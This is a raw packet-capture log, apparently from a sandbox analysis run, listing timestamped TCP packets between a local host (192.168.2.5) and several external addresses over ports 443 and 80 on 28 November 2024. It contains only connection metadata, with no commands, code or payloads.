Nov 28, 2024 06:48:44.163692951 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.163712025 CET	49847	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.163717031 CET	443	49847	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.167881012 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.167916059 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.168226957 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.168406963 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.168421030 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.373258114 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.373830080 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.373848915 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.374569893 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.374574900 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.758402109 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.758455992 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.758506060 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:44.758554935 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:44.826069117 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.826138020 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.826189995 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.826421976 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.826436996 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.826447964 CET	49848	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.826452971 CET	443	49848	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.829505920 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.829543114 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.829659939 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.829813004 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:44.829827070 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:44.910087109 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.910156965 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.910171986 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:44.910190105 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.910240889 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:44.910283089 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.910312891 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:44.910367012 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:45.205178976 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:45.205244064 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:45.205316067 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:45.533030033 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.533608913 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.533632994 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.534113884 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.534120083 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.633055925 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:45.634076118 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:45.634095907 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:45.635272980 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:45.635282040 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:45.635406971 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:45.635417938 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:45.859709978 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.863287926 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.863331079 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.864451885 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.864458084 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.876023054 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.876791954 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.876820087 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.877367020 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.877372026 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.985472918 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.985536098 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.985688925 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.986836910 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.986851931 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:45.986877918 CET	49851	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:45.986882925 CET	443	49851	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.000989914 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.001014948 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.001199007 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.001581907 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.001595020 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.029999018 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.083955050 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.137779951 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.137795925 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.138787031 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.138792992 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.259759903 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:46.259799957 CET	80	49849	185.215.113.16	192.168.2.5
Nov 28, 2024 06:48:46.259927034 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:46.272644043 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.272670031 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.272722960 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.272753000 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.272808075 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.309957981 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.309987068 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.310002089 CET	49850	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.310008049 CET	443	49850	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.311584949 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.311645031 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.311728954 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.327841997 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.327924967 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.328032017 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.332542896 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.332565069 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.332580090 CET	49852	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.332586050 CET	443	49852	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.344737053 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.344753981 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.344765902 CET	49853	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.344770908 CET	443	49853	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.352885008 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.352926016 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.352941990 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.352958918 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.352984905 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.353009939 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.353292942 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.353310108 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.353383064 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.353391886 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.367616892 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.367636919 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.367777109 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.369292021 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.369304895 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.375983000 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.376010895 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.376074076 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.376477957 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:46.376497984 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:46.491014004 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.491060019 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.491115093 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.491530895 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.491543055 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.491554022 CET	49854	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.491559029 CET	443	49854	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.498202085 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.498225927 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.498295069 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.498569012 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.498580933 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.551668882 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:46.551804066 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:46.551871061 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:46.648241043 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.648823023 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.648849964 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.649349928 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:46.649354935 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:46.805682898 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:46.806273937 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:46.806751966 CET	49862	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:46.806781054 CET	443	49862	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:46.806843042 CET	49862	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:46.807220936 CET	49862	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:46.807233095 CET	443	49862	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:46.930560112 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:46.930818081 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:47.102341890 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.102413893 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.102468014 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.102922916 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.102943897 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.102953911 CET	49855	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.102958918 CET	443	49855	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.124608994 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.124656916 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.124728918 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.131505966 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.131527901 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.246385098 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:47.246452093 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:47.246629953 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:47.730779886 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.732711077 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.732729912 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:47.733539104 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:47.733546019 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.144292116 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.144838095 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.144855022 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.144877911 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.145647049 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.145663977 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.146100998 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.146105051 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.146140099 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.146146059 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.146168947 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.146176100 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.193336964 CET	443	49862	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:48.193422079 CET	49862	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:48.197685003 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:48.197717905 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:48.204243898 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.204727888 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.204747915 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.205434084 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.205440998 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.205543995 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.205555916 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.208040953 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.208431959 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.208462954 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.209041119 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.209048986 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.220144033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:48.220226049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:48.224653006 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.224998951 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.225019932 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.225411892 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.225415945 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.278258085 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.278320074 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.278548002 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.278583050 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.278593063 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.278604031 CET	49856	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.278609037 CET	443	49856	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.281892061 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.281922102 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.282021999 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.282181025 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.282191992 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.597084045 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.597130060 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.597287893 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.597424030 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.597440004 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.597455978 CET	49858	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.597460985 CET	443	49858	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.600281000 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.600322962 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.600430965 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.600578070 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.600591898 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.637913942 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:48.637926102 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:48.637990952 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:48.638168097 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:48.638180017 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:48.667011976 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.667062998 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.667124033 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.667366982 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.667380095 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.667406082 CET	49861	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.667411089 CET	443	49861	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.668884993 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.668931007 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.669015884 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.669202089 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.669223070 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.669311047 CET	49857	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.669318914 CET	443	49857	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.670917988 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.670933008 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.671581984 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.671719074 CET	49867	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.671730995 CET	443	49867	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.671942949 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.671983957 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.672091007 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.672240973 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:48.672255993 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:48.788165092 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.788182974 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.788252115 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.788265944 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.788315058 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.788717031 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.788728952 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.788768053 CET	49859	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.788774967 CET	443	49859	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.807606936 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.807641029 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:48.807727098 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.807934999 CET	49869	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:48.807949066 CET	443	49869	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.011796951 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.012387991 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.012415886 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.012882948 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.012887955 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.372807026 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.372831106 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.372858047 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.372904062 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.372921944 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.372951984 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.373466969 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.373486996 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.373495102 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.373619080 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.373651028 CET	443	49860	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.373704910 CET	49860	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.443387985 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.443417072 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.443551064 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.443989038 CET	49870	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:49.444000006 CET	443	49870	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:49.473645926 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.473709106 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.473932981 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.473964930 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.473973036 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.474008083 CET	49863	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.474013090 CET	443	49863	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.476861954 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.476893902 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:49.476953030 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.477144003 CET	49871	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:49.477158070 CET	443	49871	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.072758913 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.073383093 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.073400021 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.073869944 CET	49864	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.073873997 CET	443	49864	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.235963106 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.239656925 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.239674091 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.240720987 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.240786076 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.241892099 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.241960049 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.242219925 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.242227077 CET	443	49866	152.195.19.97	192.168.2.5
Nov 28, 2024 06:48:50.294578075 CET	49866	443	192.168.2.5	152.195.19.97
Nov 28, 2024 06:48:50.312851906 CET	49849	80	192.168.2.5	185.215.113.16
Nov 28, 2024 06:48:50.326062918 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.334168911 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.334186077 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.334685087 CET	49865	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.334691048 CET	443	49865	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.398576975 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.399509907 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.399535894 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.400058031 CET	49868	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:50.400063038 CET	443	49868	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:50.460489035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:50.460956097 CET	49872	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:50.525526047 CET	443	49867	13.107.246.63	192.168.2.5
